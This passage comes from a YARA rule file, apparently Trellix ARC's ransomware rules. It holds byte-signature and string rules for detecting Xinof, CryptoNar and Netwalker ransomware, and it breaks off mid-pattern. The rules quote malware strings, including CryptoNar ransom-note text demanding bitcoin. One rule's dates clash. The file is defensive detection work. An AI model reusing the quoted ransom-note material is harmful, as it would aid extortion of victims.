		$sequence_8 = { 8d542478 f3ab 8b8c24a4000000 8b8424a0000000 }
		$sequence_9 = { 0107 83570400 85c9 7508 }
		$sequence_10 = { 8d542478 898c2498010000 8d8c2494010000 52 }
		$sequence_11 = { 010b 8945fc 8bc2 83530400 }
		$sequence_12 = { 0103 ebaa 8b442408 56 }
		$sequence_13 = { 8d542474 51 55 52 8bce e8???????? }
		$sequence_14 = { 0108 8b8e44010000 114804 8b4f18 }
		$sequence_15 = { 8d542901 52 6a1f 56 }
	condition:
		7 of them and filesize < 1155072
}

/*
 * YARA Rule Set
 * Repository Name: Trellix ARC
 * Repository: https://github.com/advanced-threat-research/Yara-Rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: 1919562a59f190bda60c982424f6a24c542ee3e0
 * Number of Rules: 67
 * Skipped: 56 (age), 41 (quality), 3 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 *                                  Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */
private rule TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE : RANSOMWARE
{
	meta:
		description = "Detect chunk of Xinof ransomware"
		author = "Thomas Roccia | McAfee ATR Team"
		id = "243c39fd-b5f6-5f64-8058-43da182480c0"
		date = "2020-11-20"
		date = "2020-11-20"
		modified = "2020-11-20"
		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_xinof.yar#L1-L51"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "0c1e6299a2392239dbe7fead33ef4146"
		logic_hash = "f0266962357a7cb26995cdbfcc99749b73fc4ed09c813fa8e2ed0f5143cde554"
		score = 75
		quality = 70
		tags = "RANSOMWARE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom/XINOF"
		actor_type = "Cybercrime"
		actor_group = "FONIX"
	strings:
		$chunk1 = {
		   C6 45 ?? ??
		   68 ?? ?? ?? ??
	           50
		   E8 ?? ?? ?? ??
		   53
	           50
		   8D 85 ?? ?? ?? ??
		   C6 45 ?? ??
		   50
		   E8 ?? ?? ?? ??
		   56
		   50
		   8D 85 ?? ?? ?? ??
		   C6 45 ?? ??
		   50
		   E8 ?? ?? ?? ??
		   83 C4 ??
		   C6 45 ?? ??
		   8B CC
		   57
		   50
		   51
		   E8 ?? ?? ?? ??
		   83 C4 ??
		   8D 8D ?? ?? ?? ??
		   E8 ?? ?? ?? ??
		   83 C4 ??
		   8D 8D ?? ?? ?? ??
		   E8 ?? ?? ?? ??
		}
	condition:
		any of them
}

rule TRELLIX_ARC_Cryptonar_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect CryptoNar Ransomware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "0911250f-fc1f-58bc-ac09-d77d2a2ed3ce"
		date = "2026-03-01"
		modified = "2020-08-14"
		reference = "https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_CryptoNar.yar#L1-L36"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "04c1c4f45ad3552aa0876c3b645c6ca92493018f7fdc5d9d9ed26cf67199d21b"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/CryptoNar"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$s1 = "C:\\narnar\\CryptoNar\\CryptoNarDecryptor\\obj\\Debug\\CryptoNar.pdb" fullword ascii
		$s2 = "CryptoNarDecryptor.exe" fullword wide
		$s3 = "server will eliminate the key after 72 hours since its generation (since the moment your computer was infected). Once this has " fullword ascii
		$s4 = "Do not delete this file, else the decryption process will be broken" fullword wide
		$s5 = "key you received, and wait until the decryption process is done." fullword ascii
		$s6 = "In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: [bitcoin address]" fullword ascii
		$s7 = "Decryption process failed" fullword wide
		$s8 = "CryptoNarDecryptor.KeyValidationWindow.resources" fullword ascii
		$s9 = "Important note: Removing CryptoNar will not restore access to your encrypted files." fullword ascii
		$s10 = "johnsmith987654@tutanota.com" fullword wide
		$s11 = "Decryption process will start soon" fullword wide
		$s12 = "CryptoNarDecryptor.DecryptionProgressBarForm.resources" fullword ascii
		$s13 = "DecryptionProcessProgressBar" fullword wide
		$s14 = "CryptoNarDecryptor.Properties.Resources.resources" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them
}



rule TRELLIX_ARC_Netwalker_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Netwalker ransomware"
		author = "McAfee ATR Team"
		id = "6fe75a64-77b8-5cb8-9365-a5336d4d1617"
		date = "2020-03-30"
		modified = "2020-11-20"
		reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L3-L28"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "11da4b57f8d9ed1fdf053053a51870af2cbf4062cc1340087ee70c3e92a1baf6"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		note = "The rule doesn't detect the samples packed with UPX"
	strings:
		$pattern = { 8B????8B????89??C7????????????EB??8B????52E8????????83????8B????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCC558B??83????C7????????????83??????74??83??????72??83??????75??8B????E9????????C7????????????8B????33??B9????????F7??83????89????8B????8B????8D????51E8????????83????89????83??????0F84????????C7????????????C7????????????C6??????C6??????C6??????8B????3B????0F84????????8B????2B????39????73??8B????89????EB??8B????2B????89????8B????89????C7????????????8B????03????8B????2B??89????74??83??????7E??83??????7D??C7????????????8B????03????89????8B????518B????03????528B????03????50E8????????83????8B????03????89????83??????75??6A??8D????528B????03????50E8????????83????8B????83????89????8B????03????89????E9????????8B????8B????89??83??????74??8B????52E8????????83????8B????89??C7????????????8B????8B??5DC3CCCCCCCC558B??51B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????81????????????75??8B????83????89????C7????????????EB??C7????????????B9????????6B????8B????0FB6????BA????????C1????8B????0FB6????C1????0B??B8????????D1??8B????0FB6????C1????0B??BA????????6B????8B????0FB6????C1????0B??BA????????C1????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FBE????BA????????C1????8B????0FBE????C1????0B??B8????????D1??8B????0FBE????C1????0B??BA????????6B????8B????0FBE????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????D1??8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????6B????8B????89????8B??5DC3CCCCCC558B??B8????????6B????8B????C7????????????B8????????6B????8B????C7????????????B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????5DC3CCCCCC558B??83????83??????75??E9????????8B????508D????51E8????????83????BA????????6B????8B????8B????83????B8????????6B????8B????89????B9????????6B????8B????83??????75??B9????????6B????8B????8B????83????BA????????6B????8B????89????83??????77??C7????????????EB??8B????83????89????8B????3B????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??EB??C7????????????EB??8B????83????89????83??????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??8B????83????89????8B????83????89????8B????83????89????E9????????8B??5DC3CCCCCCCCCCCCCCCC558B??83????C7????????????EB??8B????83????89????83??????7D??8B????8B????8B????8B????89??????EB??C7????????????EB??8B????83????89????83??????0F8E????????B9????????6B????B8????????C1????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????C1????BA????????C1????8B??????33??????C1????B9????????C1????BA????????C1????8B??????33??????C1????0B??BA????????C1????89??????B8????????6B????BA????????C1????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????C1????BA????????6B????8B??????03??????BA????????C1????89??????B8????????C1????B9????????C1????8B??????33??????C1????B8????????C1????B9????????C1????8B??????33??????C1????0B??B9????????C1????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????6B????B8????????C1????8B??????33??????C1????BA????????6B????BA????????C1????8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????C1????B9????????6B????8B??????03??????B9????????C1????89??????BA????????6B????B9????????C1????8B??????33??????C1????B8????????6B????B8????????C1????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B????B9????????6B????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????D1??BA????????6B????8B??????03??????BA????????D1??89??????B8????????6B????BA????????D1??8B??????33??????C1????B9????????6B????B9????????D1??8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????D1??B8????????6B????8B??????03??????B8????????D1??89??????B9????????6B????B8????????D1??8B??????33??????C1????BA????????6B????BA????????D1??8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B???? }
		$pattern2 = { CCCCCCCCCCA1????????C3CCCCCCCCCCCCCCCCCCCC538B??????5533??5785??74??8B??????85??74??8B????85??74??C1????50E8????????83????89??85??74??8B????5633??85??74??5653E8????????83????85??74??8B????85??74??8D??????89??????5150E8????????83????85??74??8B????8B??8B??????89????FF????8B????463B??72??39????B9????????5E0F44??5F8B??5D5BC35F5D33??5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC535556578B??????85??74??83????74??8B????85??74??8B??????85??74??33??85??74??8B??????660F1F??????85??74??8B??53FF????E8????????EB??E8????????8D????8B??FF????8B??53FF??83????85??75??463B????72??5F5E5D33??5BC35F5E5DB8????????5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??56E8????????8B????50E8????????83????85??75??A1????????6A??83????5650E8????????83????85??75??56E8????????83????85??74??8D????66??????74??83????83????75??33??5EC383????74??A1????????6A??83????5150E8????????83????85??74??B8????????5EC3CCCCCCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??A1????????83??????74??8B??????85??74??56E8????????8B??????????83????83????75??83??????74??66????????75??0FB7??83????72??83????76??83????66??????76??6A??8D????5650E8????????83????85??74??B8????????5EC333??5EC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??A1????????83??????74??51E8????????8B??83????85??74??8B??????????6A??83????5651E8????????83????85??74??B8????????5EC356E8????????83????33??5EC3CCCCCCCCCCCCCC535556576A??E8????????8B??83????85??0F84????????8B??660F1F??????0FB7????83????51E8????????8B??83????85??74??0FB7????51FF????57E8????????83????83????????????74??A1????????83??????74??6A??83????5750E8????????83????85??74??E8????????8B????3B????74??6A??51E8????????8B??83????85??74??E8????????6A??538B????FF??E8????????538B??????????FF??57E8????????83????8B??03??85??0F85????????55E8????????83????E8????????6A??8B??????????FF??E9????????CCCCCCCCCCCCCC83????5533??565739??????????0F84????????8B??????85??0F84????????8B??????85??0F84????????53E8????????8B??????????FF??83??????8B??74??E8????????FF????8B??????????FF??89??????E8????????8D??????516A??8B??????????8D??????516A??57FF??85??74??8B??????89????83????74??E8????????8B??????????FF??2B??3D????????77??83??????75??5B5F5E8B??5D83????C3BD????????5B5F5E8B??5D83????C35F5E33??5D83????C383????558B??????85??0F84????????5333??5733??89??????89??????E8????????8D??????518D??????8B??????????5157576A??FF????FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????56E8????????8D??????518D??????8B??????????51FF??????FF??????6A??FF????FF??85??74??33??39??????76??8B??????0F1F??????????E8????????8B??????68????????FF????8B??????????FF??FF??89??????8D????????????5053E8????????8B??83????85??74??FF??????68????????E8????????83????89????474683????3B??????72??8B??????FF??????E8????????83????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??E8????????FF????8B??????????FF??463B??72??53E8????????83????5EE8????????8D??????516A??FF????8B??????????FF??5F5B85??74??8D??????50FF????E8????????83????E8????????FF????8B??????????FF??55E8????????83????33??5D83????C2????CCCCCCCCCCCCCCCCCCCCCCCC83????568B??????85??74??E8????????8D??????516A??8B??????????56FF??85??74??8D??????5056E8????????83????E8????????568B??????????FF??33??5E83????C2????CCCCCCCCCCCC83????83????????????5356570F84????????A1????????83??????0F84????????55E8????????68????????6A??6A??8B??????????FF??8B??89??????85??0F84????????660F1F????????????C7??????????????C7??????????????C7??????????????E8????????8D??????518D??????8B??????????518D??????516A??6A??6A??6A??55FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????E8????????8B??????8D??????518D??????8B??????????518D??????51FF??????566A??6A??55FF??85??0F84????????33??33??89??????39??????0F86????????0F1F??????????FF??E8????????83????85??75??FF????E8????????83????85??74??E8????????68????????FF??8B??????????55FF??89??????85??74??6A??E8????????8B??83????85??74??8B??????8D????????????5189????8B??????5389????E8????????8B??83????85??74??5568????????E8????????83????89????478B??????8B??????83????4089??????3B??????0F82????????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??0F1F????E8????????FF????8B??????????FF??463B??72??53E8????????83????FF??????E8????????83????E8????????68????????8B??????????FF??E9????????5D5F5E33??5B83????C2????CCCCCC83????53558B??????565785??0F84????????8B????8D??????516A??55C7??????????????FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????6A??8D??????6A??50E8????????33??83????B8????????66????????39??????0F8E????????8B??????8D??????5083????C7??????????????438B??89??????0F10??????8B??510F11??FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????8B??????8D??????C7??????????????33??52508B??FF????83????????0F84????????FF??????E8????????83????85??0F85????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????33?? }
		$pattern3 = { CCCCCCCCCC558B??FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????